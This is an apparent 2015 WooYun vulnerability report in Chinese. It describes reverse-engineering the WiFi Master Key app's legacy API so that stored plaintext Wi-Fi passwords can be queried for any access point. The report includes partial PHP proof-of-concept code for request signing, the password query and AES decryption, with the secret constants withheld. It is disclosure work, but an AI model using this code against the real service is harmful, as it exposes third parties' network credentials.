当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-099268

漏洞标题:WIFI万能钥匙密码查询接口算法破解(可无限查询用户AP明文密码)

相关厂商:WiFi万能钥匙

漏洞作者: 路人甲

提交时间:2015-03-03 16:59

修复时间:2015-06-04 12:58

公开时间:2015-06-04 12:58

漏洞类型:敏感信息泄露

危害等级:高

自评Rank:18

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-03-03: 细节已通知厂商并且等待厂商处理中
2015-03-06: 厂商已经确认,细节仅向厂商公开
2015-03-09: 细节向第三方安全合作伙伴开放
2015-04-30: 细节向核心白帽子及相关领域专家公开
2015-05-10: 细节向普通白帽子公开
2015-05-20: 细节向实习白帽子公开
2015-06-04: 细节向公众公开

简要描述:

http://zone.wooyun.org/content/18815,我是看到这篇帖子后萌生的想法。。。
现在不用装APP,也能查询你家的WIFI明文密码了。

详细说明:

凡是APP就涉及到通信接口,看了下万能钥匙的APP,走的明文HTTP协议这就简单了。
分析Android程序有个杀手锏,就是程序在更新迭代的时候新版本做了API改动,但为了兼容考虑,老版本存在问题的API不会下线,一直存在线上。。。

play.jpg


从GooglePlay下载了1.X版本的WIFI万能钥匙,确实还能用,通过程序包分析算法(说一下在,各种key,salt明文存储,连混淆哪怕是字符拼接都没有。。。)

key.png


这个是查询密码用到的数据包,以及参数中sign(签名)的算法,其实就是这些数据进行排序后用salt算个md5。新版本的万能钥匙还有个retSn,实现链式认证,也能突破,但这个报告只说1.x版本的API问题(1.x时代很多细节明显没有考虑完善,基本只靠sign做安全)。

1.jpg


用JAVA实现查询密码请求的签名

2.jpg


为了验证真实性,我给附近的一台OpenWrt SSID前加了个“1OpenWrt”,在计算签名查询,bingo!

3.jpg


第一部分完成了,但发现返回的密码竟然好长一串似乎还真没泄漏用户明文密码哎,但没明文客户端怎么连接呢。。。通过apk分析发现是用了AES加密,当然key和iv也泄漏了。

aes.png


继续用JAVA程序实现

jiemi.png


嘿嘿,原来你家密码是这个(跟这个朋友的分析一致 http://drops.wooyun.org/papers/4976)
另外测试的过程中突然提示

no.png


经过分析原来是dhid每日有查询限额,继续分析dhid算法,是通过服务器返回的,具体伪造不在说了,基本还是分析包,打包sign,发包了。

漏洞证明:

mima1.png


mima2.png


这样,就实现了通过SSID,和BSSID查询任意AP明文密码了,本地写了个自用的玩玩。为了证明真实并且避免被恶意利用,我只放出部分POC代码,厂商一看就懂。

function sign( $array , $do ){
// 签名算法
$request_str = '';
$salt = '';
$sign = '';
// 对应apk中的 Arrays.sort 数组排序,测试PHP需用 ksort
ksort( $array );
foreach ($array as $key => $value) {
$request_str .= $value;
}
if ( $do == 'querypwd') {
$sign = md5( $request_str . SALT );
} elseif ( $do == 'querydhid' ) {
$sign = md5( $request_str . SALT2 );
} else {
NULL;
}
return $sign;
}


查询密码的

function get_pwd(){
$ssid = addslashes( $_POST['ssid'] );
$mac = addslashes( $_POST['mac'] );
$data = '';
$array = array(
"och" => "guanwang",
"ii"=> "123456789012345",
"appid"=> "0006",
"pid"=> "qryapwd:commonswitch",
"mac"=>"xx:xx:xx:xx:xx:xx",
"lang"=>"cn",
"bssid"=>"$mac,",
"v"=>"58",
"ssid"=>"$ssid,",
"method"=>"getSecurityCheckSwitch",
"uhid"=> "a0000000000000000000000000000001",
"st"=> "m",
"chanid"=> "googleplay",
"dhid" => get_dhid()
);
$sign = sign( $array , 'querypwd' );
foreach ($array as $key => $value) {
if ( $key == 'bssid') {
$data .= "sign=" . strtoupper($sign) . "&";
}
$data .= "$key=" . urlencode( $value ) . "&";
}


AES解密的

function decryptStrin($str,$keys=AESKey,$iv=AESIV,$cipher_alg=MCRYPT_RIJNDAEL_128){
//Wi-Fi万能钥匙密码采用 AES/CBC/NoPadding 方式加密
$decrypted_string = mcrypt_decrypt($cipher_alg, $keys, pack("H*",$str),MCRYPT_MODE_CBC, $iv);
return $decrypted_string;
}


整个过程感觉自己又学到不少啊。。。
PS:旧版本是默认分享用户WIFI的,1.0.8这个版本,厂商还记得吧?确实是用户同意的前提,不知情的同意?

yaoshi1.png


yaoshi2.png

修复方案:

解决方案引用官方的话:问问你身边的Android程序员。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-03-06 12:56

厂商回复:

感谢您的关注,已将问题转交至相关团队。

最新状态:

暂无